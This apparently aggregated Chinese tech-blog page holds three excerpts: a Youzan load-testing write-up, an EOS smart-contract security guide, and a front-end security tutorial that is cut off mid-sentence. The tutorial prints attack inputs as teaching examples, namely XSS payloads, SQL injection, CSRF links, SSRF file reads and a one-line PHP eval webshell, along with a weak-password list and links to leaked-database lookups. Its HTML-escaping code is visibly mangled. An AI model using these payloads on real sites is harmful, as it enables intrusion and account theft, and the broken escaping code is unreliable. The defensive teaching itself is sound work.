铺底数据准备压测准备铺底的数据，这个众所周知的，但是由于有赞压测的方案采用的是影子库的设计，所以对于铺底数据准备不得不去处理影子库的数据。直接看下铺底数据准备的流程图：数据导入从生产数据库按需过滤，导入压测铺底需要的数据到大数据集群的hive表中。数据处理在 hive 表中，对导入的数据进行脱敏和清洗，清洗的目的是保证压测的数据可用性，比如保证铺底商品库存最大、营销活动时间无限、店铺正常营业等。数据导出对 hive 标中已经处理完成的数据，导出到已经创建好的影子库中，需要注意的是同一实例写入数据的控制（因为影子库和生产库同实例），写入数据的 binlog 过滤。有赞的压测数据准备目前全部在 DP 大数据平台上操作，基本完成了数据准备操作的自动化，维护了近千的数据准备 job压测请求数据数据集gatling 原生支持 json、csv、DB 等方式的数据源载入，我们采用的压测数据源是 json 格式的，那么如此海量的压测源数据，是通过什么方式生成和存储的尼，我们的实现还是依托于 DP 大数据平台，通过 MapReduce 任务的方式，按需生成我们压测请求需要的数据集：从各个业务线的表中获取压测场景整个链路所以接口请求需要的参数字段，存到一张创建好的压测数据源宽表中编写 MapReduce 任务代码，读取压测数据源宽表数据，按压测的接口请求参数情况，生成目标 json 格式的压测请求数据块文件到 HDFS压测时，压测引擎自动从 HDFS 上拉取压测的请求数据块MapReduce 生成的数据集 json 示例：6.4 压测脚本准备6.4.1 梳理压测请求和参数压测就要知道压测的具体接口和接口参数，所以我们采用统一的 RESTful 风格规范，让各个业务方的人员提交压测接口的 API 文档，这样压测脚本编写人员就能根据这份 API 快速写出压测的脚本，以及接口的预期结果等6.4.2 控制漏斗转化率有赞的压测引擎用的是公司二次封装的 gatling，原生就支持漏斗比例的控制，直接看例子6.4.3 不同场景的配比setUp( scn0.inject(constantUsersPerSec(10) during (1 minute)).throttle( reachRps(300) in (30 seconds), holdFor(2 minute)).protocols(CustomHttpProtocol.httpProtocol), scn1.inject(constantUsersPerSec(10) during (1 minute)).throttle( reachRps(500) in (10 seconds), holdFor(3 minute)).protocols(CustomHttpProtocol.httpProtocol), scn2.inject(constantUsersPerSec(10) during (1 minute)).throttle( reachRps(200) in (20 seconds), holdFor(1 minute)).protocols(CustomHttpProtocol.httpProtocol) )对不同的压测场景链路按模块编写压测脚本，这样的好处就是需要不同场景混合压测时，只需要在 setUp 时，按需把不同的场景组合到一起即可；需要单独压测某一个场景时，setUp 中只留一个场景就好，做到一次编写，处处可压。6.5 压测执行压测的铺底数据、压测脚本、压测请求的数据集都已经介绍完了，可谓是万事俱备只欠东风，那这个东风就是我们自建的压测平台 maxim，这里不对压测平台的设计展开介绍，展示一下 maxim 在压测执行过程中所承担的工作。maxim平台主要的功能模块有：测试脚本：负责测试脚本的管理数据集：负责压测请求数据集的管理，目前主要有两种数据集上传模式：直接上传数据包和 hadoop 集群数据源路径上传。第二种上传模式，只需要填写数据源所在的 hadoop 集群的路径，maxim 平台会自动去所在路径获取压测数据集文件测试 job：负责测试任务的管理，指定压测 job 的脚本和脚本入口，以及压测数据集等压测注入器：负责展示压测注入机器的相关信息压测报告生成：压测报告的生成，直接用的 gatling 原生的报告生成功能maxim 平台压测结果报告下面看一下压测执行的页面功能：压力注入器数量：指定本次压测执行，需要多少台压测机去执行重复场景测试：一个虚拟用户重复几次压测场景并发用户数：可执行压测时，按需填写需要的每秒加载的并发用户数和持续时间，无需每次变更压测脚本目标 RPS：可执行压测时，按需填写压测的目标 RPS，爬坡时间，目标持续时间，达到限流的作用，可同时指定多个目标 RPS，达到分梯度压测的目的；七、最后到这里有赞全链路压测方案已经介绍完了，因为篇幅的原因还有很多实施细节部分并没有完整表述，同时有赞的全链路压测也才初具雏形，欢迎有兴趣的同学联系我们一起探讨，有表述错误的地方也欢迎大家联系我们纠正。 ...

EOS智能合约安全终极指南

EOS智能合约安全终极指南。当世界上最大的ICO，EOS于2018年6月推出时，加密社区变得持怀疑态度，并且由于软件错误而被冻结了2天。但快进4个月，EOS今天占了以太网今天所做交易的两倍以上。通过免费和更快速交易的承诺，EOS最顶级的Dapp拥有大约13,000个每日活跃用户，而以太网的最顶级Dapp只有2,000个。一些常见的智能合约漏洞几乎适用于所有平台。与以太坊一样，在EOS上编写的智能合约需要在主网上上线之前进行审核。合约中的致命错误可以在合约没有经过足够的测试时被利用。在本指南中，我们将帮助你避免在EOS上制作下一个杀手dApp的过程中常见的陷阱。在阅读本指南之前，了解有关EOS开发的一些先决条件信息非常重要，这些信息在你阅读本指南时会很方便。了解C++是必须的。开始智能合约开发的最佳位置是EOSIO自己的文档。ABI调用处理extern “C” {void apply(uint64_t receiver, uint64_t code, uint64_t action) { class_name thiscontract(receiver); if ((code == N(eosio.token)) && (action == N(transfer))) { execute_action(&thiscontract, &class_name::transfer); return; } if (code != receiver) return; switch (action) { EOSIO_API(class_name, (action_1)(action_n))}; eosio_exit(0);}}上面是修改后的ABI调用程序的示例代码。如下所示的更简单的ABI调用程序用于简化合约的操作处理。EOSIO_ABI( class_name, (action_1)(action_n) );ABI调用程序/交易处理程序允许合约收听传入的eosio.token交易时间，以及与智能合约的正常交互。为了避免异常和非法调用，绑定每个键操作和代码以满足要求是很重要的。一个例子是由于他们的ABI转发源代码中的错误而发生在dApp EOSBet Casino上的黑客攻击。if( code == self || code == N(eosio.token) ) {TYPE thiscontract( self );switch( action ) {EOSIO_API( TYPE, MEMBERS )}}上面检查ABI转发源代码的apply动作处理程序允许攻击者完全绕过eosio.token::transfer()函数，并在放置之前直接调用contract::transfer()函数而不将EOS转移到合约中。打赌。对于损失，他没有得到任何报酬，但一无所获。然而，对于胜利，他从合约中支付了真正的EOS。他们通过在传入操作请求合约之前添加eosio.token合约转移操作检查来修复上述错误。if( code == self || code == N(eosio.token) ) {if( action == N(transfer) ){eosio_assert( code == N(eosio.token), “Must transfer EOS”);}TYPE thiscontract( self );switch( action ) {EOSIO_API( TYPE, MEMBERS )}}使用语句require_auth(account)非常重要；进入只需要授权帐户才能执行的操作。require_auth(_self)；用于仅授权合约的所有者签署交易。操作中的授权void token::transfer( account_name from, account_name to, asset quantity){ auto sym = quantity.symbol.name(); require_recipient( from ); require_recipient( to ); auto payer = has_auth( to ) ? to : from; sub_balance( from, quantity ); add_balance( to, quantity, payer );}上面的示例代码允许任何人调用该操作。要解决它，请使用require_auth(from)，声明授权付款人调用该行动。尽量避免修改eosio.token合约最近一位白帽黑客因其eosio.token合约中的方法调用问题而设法获得了10亿美元的dapp代币。Dapp Se7ens（现在处于非活动状态）在eosio.token合约中声明了一种新方法，用于将其代币空投到用户帐户中。合约没有反映eosio.token合约的问题或转移操作的变化，因此资金神奇地出现在用户的帐户上。其次，他们忘记在转移之前验证方法中的金额，这允许黑客在此过程中索取10亿个代币。除了更改最大供应和代币符号之外，建议避免为自定义函数修改它，因为eosio.token合约中的错误可能是致命的。为了便于安全地进行空投，将空投代币转移到一个单独的帐户并从那里分发。修改多索引表属性EOS当前将数据存储在共享内存数据库中，以便跨操作共享。struct [[eosio::table]] person { account_name key; std::string first_name; std::string last_name; std::string street; std::string city; std::string state; uint64_t primary_key() const { return key; } };typedef eosio::multi_index<N(people), person> address_index;上面的示例代码创建了一个名为people的multi_index表，该表基于使用struct person的该表的单行的数据结构。部署后，EOS目前不允许修改表属性。eosio_assert_message断言失败将是将被抛出的错误。因此，在部署表之前需要完全考虑属性。否则，需要创建具有不同名称的新表，并且在从旧表迁移到新表时需要特别小心。如果不这样做可能会导致数据丢失。数值外溢检查在进行算术运算时，如果没有足够负责地检查边界条件，则值可能会溢出，从而导致用户资产丢失。void transfer(symbol_name symbol, account_name from, account_names to, uint64_t balance) {require_auth(from);account fromaccount;eosio_assert(is_balance_within_range(balance), “invalid balance”);eosio_assert(balance > 0, “must transfer positive balance”); uint64_t amount = balance * 4; //Multiplication overflow}在上面的示例代码中，使用uint64_t表示用户余额可能会在值乘以时导致溢出。因此，尽量避免使用uint64_t来表示余额并对其执行算术运算。使用eosiolib中定义的asset结构进行操作，而不是处理溢出条件的精确余额。考虑合约中的假设在执行合约时会有假设需要断言。如果断言失败，使用eosio_assert将事先处理条件并停止执行特定操作。举个例子：void assert_roll_under(const uint8_t& roll_under) { eosio_assert(roll_under >= 2 && roll_under <= 96, “roll under overflow, must be greater than 2 and less than 96”); }上面的断言语句假设roll_under整数大于2且小于96.但如果不是，则抛出上述消息并停止执行。没有发现像上面这样的局部问题可能会成为规则制定的全局灾难。生成正确随机数如果没有准确完成，在EOS区块链上生成正确的随机数仍然存在风险。如果没有正确地做到这一点，将导致对手预测结果，在整个过程中对整个系统进行游戏。像Oracalize.it这样的服务可以提供来自外部源的随机数，但它们很昂贵并且可能出现单点故障。人们过去曾使用Blockchain的上下文变量（块编号，块时间戳等）来生成以太坊智能合约中的随机数，这只是在游戏中使用。为了正确地进行生成，程序必须提供一种单一方无法单独控制的组合随机性。目前最好的方法之一是Dan Larimar自己生成随机数时建议的方法。string sha256_to_hex(const checksum256& sha256) { return to_hex((char*)sha256.hash, sizeof(sha256.hash));}string sha1_to_hex(const checksum160& sha1) { return to_hex((char*)sha1.hash, sizeof(sha1.hash));}template <class T>Inline void hash_combine(std::size_t& seed, const T& v) { std::hash<T> hasher; seed ^= hasher(v) + 0x9e3779b9 + (seed << 6) + (seed >> 2);}上面的示例代码给出了1到100之间的优化随机数生成.seed1是种子，seed2是上面的用户种子。作为参考，Dappub和EOSBetCasino开放了他们的完整合约，随机数发生器实现了玩家和开发商之间的公平骰子游戏。uint8_t compute_random_roll(const checksum256& seed1, const checksum160& seed2) { size_t hash = 0; hash_combine(hash, sha256_to_hex(seed1)); hash_combine(hash, sha1_to_hex(seed2)); return hash % 100 + 1; }EOSBet最近再次遭到65,000EOS的攻击，当一个对手欺骗他们的eosio.token合约时，只要他在自己的钱包之间进行交易，就将EOS送到他的钱包。eosio.token合约代码通知EOS代币的发送者和接收者有传入代币。为了模仿这种行为并促进黑客攻击，对手创建了两个帐户，让我们假设A和B。A与智能合约的操作有声明require_recipient(N(eosbetdice11))。当A通过操作调用促进了从A到B的交易时，它通知合约中的转移功能，就好像该呼叫来自eosio.token合约一样。由于EOS没有真正转移到合约中，每当黑客输掉赌注时，他什么都没有丢失，但是在赢得赌注时他获得了奖励。因此，仅检查合约名称和操作名称是不够的。检查合约中的通知为了缓解这个问题，该函数应检查合约是否确实是代币的接收者。eosio_assert(transfer_data.from == _self || transfer_data.to == _self, “Must be incoming or outgoing transfer”);在EOS上制定智能合约时应遵循的最佳做法是什么？错误是任何软件不可避免的一部分。它的后果在去中心化的环境中被放大，特别是如果它涉及价值交易。除了上面讨论的EOS特定保护措施之外，以下是新智能合约开发人员应该记住的一些一般预防措施和最佳实践：在主网上发布之前，始终独立于第三方智能合约审计公司审计合约。在发布到testnet之前，进行必要的Caveman调试（当前调试合约的唯一方法）。EOSIO文档有一个很好的指南。设置提款限额转移率，避免主网启动初期出现过多损失。有白帽黑客负责任披露的bug赏金计划。当检测到错误时，有一个killswitch来冻结合约。为了实现它，我们在multi_index表中保留一个标志。我们使用只能由合约所有者调用的操作来设置标志。然后我们检查每个公共行动是否将标志设置为冻结。下面给出了该函数的示例实现。struct st_frozen { uint64_t frozen;};typedef singleton<N(freeze), st_frozen> tb_frozen;tb_frozen _frozen;uint64_t getFreezeFlag() { st_frozen frozen_st{.frozen = 0}; return _frozen.get_or_create(_self, frozen_st);}void setFreezeFlag(const uint64_t& pFrozen) { st_frozen frozen_st = getFreezeFlag(); frozen_st.frozen = pFrozen; _frozen.set(frozen_st, _self);}// public Actionvoid freeze() { require_auth(_self); setFreezeFlag(1);}// public Actionvoid unfreeze() { require_auth(_self); setFreezeFlag(0);}// any public actionvoid action(…) { eosio_assert(getFreezeFlag().frozen == 1, “Contract is frozen!”); …}随时了解库中的安全性增强或平台上的漏洞披露。必要时立即更新库。至少开源合约代码，以便在项目中保持公平性，独立开发人员可以更快地发现错误。EOS智能合约安全：结论自EOS推出仅仅5个月，它已经超出了预期。它所取得的DPOS，可变智能合约，21个采矿节点等，当然受到权力下放极端主义者的严厉批评。然而，考虑到平台今天提供的可扩展性，它并没有阻止基于以太坊的dApp转向EOS。无论是EOS还是以太坊赢得战争还有待确定，但EOS肯定赢得了这场战斗。它将保持不变，直到以太坊设法达到运行“世界计算机”所需的世界所需的可扩展性。======================================================================分享一些以太坊、EOS、比特币等区块链相关的交互式在线编程实战教程：EOS教程，本课程帮助你快速入门EOS区块链去中心化应用的开发，内容涵盖EOS工具链、账户与钱包、发行代币、智能合约开发与部署、使用代码与智能合约交互等核心知识点，最后综合运用各知识点完成一个便签DApp的开发。java以太坊开发教程，主要是针对java和android程序员进行区块链以太坊开发的web3j详解。python以太坊，主要是针对python工程师使用web3.py进行区块链以太坊开发的详解。php以太坊，主要是介绍使用php进行智能合约开发交互，进行账号创建、交易、转账、代币开发以及过滤器和交易等内容。以太坊入门教程，主要介绍智能合约与dapp应用开发，适合入门。以太坊开发进阶教程，主要是介绍使用node.js、mongodb、区块链、ipfs实现去中心化电商DApp实战，适合进阶。C#以太坊，主要讲解如何使用C#开发基于.Net的以太坊应用，包括账户管理、状态与交易、智能合约开发与交互、过滤器和交易等。java比特币开发教程，本课程面向初学者，内容即涵盖比特币的核心概念，例如区块链存储、去中心化共识机制、密钥与脚本、交易与UTXO等，同时也详细讲解如何在Java代码中集成比特币支持功能，例如创建地址、管理钱包、构造裸交易等，是Java工程师不可多得的比特币开发学习课程。php比特币开发教程，本课程面向初学者，内容即涵盖比特币的核心概念，例如区块链存储、去中心化共识机制、密钥与脚本、交易与UTXO等，同时也详细讲解如何在Php代码中集成比特币支持功能，例如创建地址、管理钱包、构造裸交易等，是Php工程师不可多得的比特币开发学习课程。tendermint区块链开发详解，本课程适合希望使用tendermint进行区块链开发的工程师，课程内容即包括tendermint应用开发模型中的核心概念，例如ABCI接口、默克尔树、多版本状态库等，也包括代币发行等丰富的实操代码，是go语言工程师快速入门区块链开发的最佳选择。汇智网原创翻译，转载请标明出处。这里是原文EOS智能合约安全终极指南 ...

前端技术演进（三）：前端安全

这个来自之前做的培训，删减了一些业务相关的，参考了很多资料（参考资料列表），谢谢前辈们，么么哒 ????Web前端安全方面涵盖的内容较多，也是前端项目开发中必须要关注的一个重要部分。在Web站点开发中，如果没有很好的安全防护措施，不仅可能因为攻击者的恶意行为影响站点页面功能、泄露用户投权隐私，甚至还可能会直接带来用户经济上的损失。安全当然不只是前端的事情，这里主要介绍和前端相关的一些安全知识。XSS跨站脚本攻击（Cross Site Script，XSS攻击），通常指黑客通过“HTML注入”篡改了网页，插入了恶意的脚本，从而在用户浏览网页时，控制用户浏览器的一种攻击。XSS的本质是一种“HTML注入”，用户的数据被当成了HTML代码一部分来执行，从而产生了新的语义。根据攻击脚本引入的位置，XSS可以分为三类：反射型XSS非持久化，将用户输入的数据反射给浏览器，经过后端，不经过数据库。黑客需要诱使用户“点击”一个恶意链接，才能攻击成功。存储型XSS持久化，代码储存在数据库中，经过后端，经过数据库。如在个人信息或发表文章等地方，假如代码，如果没有过滤或过滤不严，那么这些代码将储存到数据库中，用户访问该页面的时候触发代码执行。比如一个表单，输入用户签名，前端直接把签名内容展示在页面上，如果没有进行XSS处理，假设输入：<script>alert(1)</script>浏览器显示用户签名的时候，可能就会触发弹框。注意这里的脚本只是演示，在攻击时，脚本可能会执行各种动作，比如获取Cookie或所有本地存储并发送到某处，打开一个非法网址等等。DOM Based XSS通过修改页面的DOM节点形成的XSS，不经过后端。比如前端直接通过获取URL参数渲染页面DOM：http://localhost:8080/dvwa/vulnerabilities/xss_d/?default=English<script>alert(1)</script>页面弹窗：XSS攻击挑战：https://xss-game.appspot.com解法：https://gist.github.com/pbssubhash/2f99644a4f24e8fe6b3e防御方式一般使用对HTML字符编码转义来防范XSS，比如：function HTMLEncode(str) { let s; if (str.length === 0) return “”; s = str.replace(/&/g, “>”); s = s.replace(/</g, “<”); s = s.replace(/>/g, “>”); s = s.replace(/ /g, “ ”); s = s.replace(/’/g, “’”); s = s.replace(/"/g, “"”); s = s.replace(/\n/g, “<br>”); return s;}function HTMLDecode(str) { let s; if (str.length === 0) return “”; s = str.replace(/>/g, “&”); s = s.replace(/</g, “<”); s = s.replace(/>/g, “>”); s = s.replace(/ /g, " “); s = s.replace(/’/g, “’”); s = s.replace(/"/g, “"”); s = s.replace(/<br>/g, “\n”); return s;}但是绕过过滤的方式有很多，比如：data协议执行javascript：<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>Jsfuck：()深入游戏：http://prompt.ml/建议使用成熟的库来防范，比如：https://github.com/leizongmin/js-xss保护好用户的Cookie，加上HttpOnly属性，加上了这个属性的Cookie字段，js是无法进行读写的。前后端一定都要过滤，在界面显示用户输入的内容时要谨慎。SQL注入SQL 注入就是指在输入的字符串中注入 SQL 语句，如果应用相信用户的输入而对输入的字符串没进行任何的过滤处理，那么这些注入进去的 SQL 语句就会被数据库误认为是正常的 SQL 语句而被执行。比如后端代码：$un = @$_POST[‘un’];$pw = @$_POST[‘pw’];// …$sql = “select * from user where un=’$un’ and pw=’$pw’";前端输入时，我们将un赋为admin，pw赋为’ or ‘1’=‘1。则整个 SQL 语句会变为：select * from user where un=‘admin’ and pw=’’ or ‘1’=‘1’就成功绕过了身份验证。SQL注入太知名，大家比较熟悉，这里不做过多介绍。CSRFCSRF（Cross-site request forgery跨站请求伪造，也被称为“One Click Attack”或者Session Riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。XSS利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。例如：一个银行站点存在一个CSRF漏洞，用户A转账给B用户2000元，执行转账操作后会对银行发送一次请求：http://www.bank.com/money?use…，然后A用户就会把自己的2000元转到B的账户下。在发送这个请求给银行服务器时，服务器首先会验证这个请求是否为一个合法的session，并且用户A确认登陆才可以验证通过。如果此时有一个恶意用户C想把A用户的钱转到自己的账户下，那么他可以构造 http://www.bank.com/money?use… 这个请求，但是这个请求必须有A用户发出才可以生效，此时恶意用户C可以搭建一个自己的网站，在网站中写入如下代码：<img src=“http://www.bank.com/money?user=A&num=2000&transfer=C">之后诱导A用户访问自己的网站，当A访问这个网站时，这个网站就会把img标签里的URL发给银行服务器，而此时除了这个请求以外，还会把A用户的cookie一起发到服务器，如果此时A用户的浏览器与银行的session没有过期，那么就会在A用户毫不知情的情况下执行转账给C的操作。CSRF一般会用于以下场景：1、对网站管理员进行攻击：诱骗管理员点击存在漏洞的链接，执行增加删除网站管理账户的操作，从而进行下一步渗透得到网站shell权限。Discuz! X2.5 / X3 / X3.1 可CSRF删管理员账号发帖插入 Discuz! 代码，其中修改uidarray可以删除多个指定用户：[img]admin.php?frame=no&action=members&operation=clean&submit=1&uidarray=1&confirmed=yes[/img]2、修改受害网站上的用户账户和数据：对账户密码进行重置，改邮箱绑定，修改个人资料、个人设置，删除用户发布的文章帖子等。美丽说网CSRF重置任意用户帐号密码(已经拿到商家帐号证明)3、账户劫持：修改密码处没有验证原有密码，无token验证，发送一个修改密码的链接即可。或者发送一个修改绑定邮箱的链接，再进行密码重置。微信公众平台CSRF可导致公众账号被劫持4、传播CSRF蠕虫进行大规模攻击：此类攻击发生的场景一般在SNS站点，批量关注、发微博、改个人资料处。新浪微博CSRF之点我链接发微博（可蠕虫）5、利用csrf进行拖库。Discuz可CSRF脱裤6、利用其他漏洞进行组合拳攻击。防御方式1、使用验证码：CSRF攻击一般都是在受害者不知情的情况下进行发起的，使用验证码可以有效的防止攻击，但是每次请求都要输入验证码会影响用户体验，所以通常只在用户登录注册，还有一些特定业务场景下使用，比如银行转账。如何使用验证码要根据业务和场景来决定。2、验证http Referer：http头中的referer字段记录了请求来源地址，比如从 http://www.test.com 点击链接到 http://m.test.com 之后，那么referer就是 http://www.test.com 这个地址。攻击者在对受害者进行攻击的时候，是在攻击者自己的服务器上构建自己的恶意脚本，诱骗受害者点击，所以此时的referer值就是攻击者自己的URL地址。通过以上可知，CSRF攻击都是跨域发起的，所以在服务端针对referer字段验证是否属于安全可靠的域名，可在一定程度上有效防御此类攻击。但是此类方法并非万无一失，在低版本存在漏洞的浏览器中，黑客可以篡改referer值。另一种情况是CSRF结合XSS进行攻击，此时就不需要跨域发起，也可以绕过referer验证。3、使用token当用户第一次进行登录的时候，客户端会通过用户名和密码去请求服务器登录，服务端在收到请求后会验证客户端传来的用户名和密码，如果验证通过，服务器就会签发一个token发给客户端，并且将token放到session或者报文中，客户端收到token后存储到本地，以后客户端只要每次请求服务器就要带上token，经过服务器验证通过后才会返回响应数据，否则报错。CSRF攻击成功的前提条件是攻击者可以完全伪造出受害者的所有请求，而且请求中的验证信息都在cookie中，黑客只要使用用户的cookie通过安全验证就可以完成攻击。了解了这些之后，想要防止CSRF攻击，就要在http请求中放置黑客不可以伪造的信息，而且该信息不可以存在于cookie中，否则就无效。而token令牌最大的特点就是随机性，不可预测，并且不存在于cookie当中。最后注意一点，如果在同域下存在XSS漏洞，那么这种使用token的防御将形同虚设。SSRF很多 Web 应用都提供了从其他服务器上获取数据的功能。使用用户指定的 URL，web 应用可以获取图片，下载文件，读取文件内容等。这个功能如果被恶意使用，可以利用存在缺陷的 Web 应用作为代理，攻击远程和本地服务器。这种形式的攻击成为服务器请求伪造（SSRF，Server-Side Request Forgery）。比如下列代码：<?php$url = @$_GET[‘url’];if($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $co = curl_exec($ch); curl_close($ch); echo $co;}这段代码从 URL 中读取url参数，之后访问url参数所指向的 URL 资源，最后把资源显示在页面上。我们访问 localhost/ssrf.php?url=http://www.baidu.com：这个漏洞还可以用于访问本地的资源，我们再访问file:///C:/Windows/win.ini以下业务场景容易出现这种漏洞：应用从用户指定的 URL 获取图片，然后把它用一个随机名称保存在硬盘上，并展示给用户。应用获取用户指定 URL 的数据（文件或者 HTML）。这个函数会使用 socket 和服务器建立 TCP 连接，传输原始数据。应用根据用户提供的 URL，抓取用户的 Web 站点，并且自动生成移动 Wap 站。应用提供测速功能，能够根据用户提供的 URL，访问目标站点，以获取其在对应经纬度的访问速度。比如：有道翻译某处SSRF可通网易内网防御方式过滤返回信息，验证远程服务器对请求的响应，是比较容易的方法。如果 Web 应用获取某种类型的文件，那么可以在把返回结果展示给用户之前先验证返回信息是否符合标准。统一错误信息，避免用户根据错误信息来判断远程服务器端口状态。限制请求的端口为 HTTP 常用端口，比如 80、443、8080、8090。黑名单内网 IP，避免应用被用来获取内网数据，攻击内网。禁用不需要的协议。仅仅允许 HTTP 和 HTTPS 请求。可以防止类似于file://、gopher://和ftp://等引起的问题。劫持很多的时候，我们的网站不是直接就访问到我们的服务器上的，中间会经过很多层代理，如果在某一个环节，数据被中间代理层的劫持者所截获，他们就能获取到使用你网站的用户的密码等保密数据。HTTP劫持HTTP劫持是指，在用户浏览器与访问的目的服务器之间所建立的网络数据传输通道中从网关或防火墙层上监视特定数据信息，当满足一定的条件时，就会在正常的数据包中插入或修改成为攻击者设计的网络数据包，目的是让用户浏览器解释“错误”的数据，或者以弹出新窗口的形式在使用者浏览器界面上展示宣传性广告或者直接显示某块其他的内容。这种情况下一般用户请求源网站的IP地址及网站加载的内容和脚本都是正确的，但是在网站内容请求返回的过程中，可能被ISP ( Internet Service Provider，互联网服务提供商）劫持修改，最终在浏览器页面上添加显示一些广告等内容信息。也有可能是我们在各种饭馆里面，连一些奇奇怪怪的wifi，如果这个wifi是黑客所建立的热点wifi，那么黑客就可以截获该用户收发的所有数据，之前315也演示过这个场景。对于这些情况，网站开发者常常就无法通过修改网站代码程序等手段来进行防范了。请求劫持唯一可行的预防方法就是尽量使用HTTPS协议来访问目标网站。还有就是尽量不蹭网。DNS劫持DNS劫持通常是指攻击者劫持了DNS服务器，通过某些手段取得某域名的解析记录控制权，进而修改此域名的解析结果，导致用户对该域名地址的访问由原IP地址转入到修改后的指定IP地址的现象，其结果就是让正确的网址不能解析或被解析指向另一网站IP，实现获取用户资料或者破坏原有网站正常服务的目的。DNS劫持一般通过篡改DNS服务器上的域名解析记录，来返回给用户一个错误的DNS查询结果实现。DNS劫持也没有好的解决方法，尽量外出不蹭网，网站尽量使用HTTPS协议。点击劫持点击劫持（ClickJacking）是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的iframe，覆盖在一个网页上，然后诱使用户在网页上进行操作，此时用户将在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置，可以诱使用户恰好点击在iframe页面的一些功能性按钮上。点击劫持的危害在于，攻击利用了受害者的用户身份，在其不知情的情况下进行一些操作。如果只是迫使用户关注某个微博账号的话，看上去仿佛还可以承受，但是如果是删除某个重要文件记录，或者窃取敏感信息，那么造成的危害可就难以承受了。点击劫持的防范主要是设置HTTP请求头(X-Frame-Options)，X-Frame-Options HTTP 响应头，可以指示浏览器是否应该加载一个iframe中的页面。网站可以通过设置X-Frame-Options阻止站点内的页面被其他页面嵌入从而防止点击劫持。通过写JavaScript来禁止iframe嵌套也可以，不过很容易绕过： //———————————— // 防止网站被其他网页作为iframe嵌入 //———————————— if (self != top) { top.location.href = self.location.href; }代码执行由于开发人员编写源码时，没有针对代码中可执行的特殊函数入口做过滤，导致客户端可以提交恶意构造语句，并交由服务端执行。命令注入攻击中，Web 服务器没有过滤类似system、eval和exec等函数，是该漏洞攻击成功的主要原因。比如代码：<?php// code-exe.php:$code=@$_GET[‘code’];//http://localhost/subject/code-exe.php?code=echo “<center>Payload:”.$code."<br/>Result:</center>eval($code);访问 http://localhost/code-exe.php… 就可以看到 php info 了。百度某站点python模板远程代码执行不安全的第三方依赖据统计一个应用有将近80%的代码其实是来自于第三方组件、依赖的类库等，而应用自身的代码其实只占了20%左右。无论是后端服务器应用还是前端应用开发，绝大多数时候我们都是在借助开发框架和各种类库进行快速开发。举个例子，jQuery就存在多个已知安全漏洞，例如 jQuery issue 2432，使得应用存在被XSS攻击的可能。而Node.js也有一些已知的安全漏洞，比如 CVE-2017-11499，可能导致前端应用受到DoS攻击。另外，对于前端应用而言，除开使用到的前端开发框架之外，通常都还会依赖不少Node组件包，它们可能也有安全漏洞。也可能有人恶意编写有漏洞的 JS 文件，并且把它放到 CDN 上给别人用，所有使用它的站点都会受到影响。NPM就有过这样的例子：软件包 getcookies 潜藏后门程序，而express-cookies和http-fetch-cookies依赖于getcookies，而mailparser依赖于http-fetch-cookies。https://blog.npmjs.org/post/173526807575/reported-malicious-module-getcookies还有很多名称类似的项目，比如原版包名称为js-cookie，恶意作者上传js-cookies，jscookie，jscookies等包，骗取下载。在使用第三方依赖时一定要再三确认。弱口令弱口令没有严格和准确的定义，通常认为容易被别人（它们有可能对你很了解）猜测或被破解工具破解的口令均为弱口令。弱口令指的是仅包含简单数字和字母的口令，例如"123”、“abc"等，因为这样的口令很容易被别人破解。普通型普通型弱口令就是常见的密码，比如，有人特地整理了常用的弱口令（Top 100）：123456 a123456 123456a 5201314 111111 woaini1314 qq123456 123123 000000 1qaz2wsx 1q2w3e4r qwe123 7758521 123qwe a123123 123456aa woaini520 woaini 100200 1314520 woaini123 123321 q123456 123456789 123456789a 5211314 asd123 a123456789 z123456 asd123456 a5201314 aa123456 zhang123 aptx4869 123123a 1q2w3e4r5t 1qazxsw2 5201314a 1q2w3e aini1314 31415926 q1w2e3r4 123456qq woaini521 1234qwer a111111 520520 iloveyou abc123 110110 111111a 123456abc w123456 7758258 123qweasd 159753 qwer1234 a000000 qq123123 zxc123 123654 abc123456 123456q qq5201314 12345678 000000a 456852 as123456 1314521 112233 521521 qazwsx123 zxc123456 abcd1234 asdasd 666666 love1314 QAZ123 aaa123 q1w2e3 aaaaaa a123321 123000 11111111 12qwaszx 5845201314 s123456 nihao123 caonima123 zxcvbnm123 wang123 159357 1A2B3C4D asdasd123 584520 753951 147258 1123581321 110120 qq1314520对于网站后台而言，一般为：adminmanagerrootroot123tomcatjbossadmin123admin888admin666…条件型条件型弱口令就是和用户信息相关的密码，比如生日+手机号、姓名首字母+生日、爱人姓名首字母+生日+常用字母（520、1314 等）。黑客拿到用户的信息，根据密码心理学，社会工程学之类的，来猜测密码。我们看的很多影片，都是社会工程学，比如特工偷取工卡、伪造证件之类的，安全最大的漏洞其实是人。撞库型很多用户会在各个网站上使用同一个密码，黑客利用第三方已经泄露的用户数据库中的用户名、邮件地址或者手机号等去匹配明文密码，有一定概率命中。这里可以查询是否被搞：https://haveibeenpwned.com/之前很多知名的社工库都被搞了，大部分都在暗网交易。可以试试这个：https://publicdbhost.dmca.gripe/查人：https://pipl.com注册网站找回：http://www.zhaohuini.com/防御方式每个网站设置不同的密码，密码12位以上，不要和自己的个人信息相关。银行取款密码不要和生日、身份证号之类相关。千万不要在云存储中存储证件照片，特别是手持身份证照片。文件上传浏览器通过上传页面将文件储存到服务器中。一般这些上传页面都会有限制（比如限制格式为jpg/gif/png等等，或者限制文件大小）。漏洞页面大致分为两种，一种是不限制任何格式，随意上传，这种现在比较少了。另一种是限制Content-type，虽然它限制了文件类型，但可以突破它。任意文件上传比如我们把一句话 <?php @eval($_POST[‘a’]) ?> 写入1.php，然后把它上传到服务器。之后，尝试直接访问所上传的文件 xxx/upload/1.php。文件类型限制如果只是前端做了扩展名限制，可以通过接口工具绕过。如果后端加上了校验，这个校验必须很谨慎。黑客也有可能利用服务器的已知漏洞。比如之前Nginx、Apache、IIS 都爆出过解析漏洞。例如：假设存在漏洞的站点上有一张图片，URL 地址为：www.xxx.com/logo.jpg我们正常访问时，Nginx 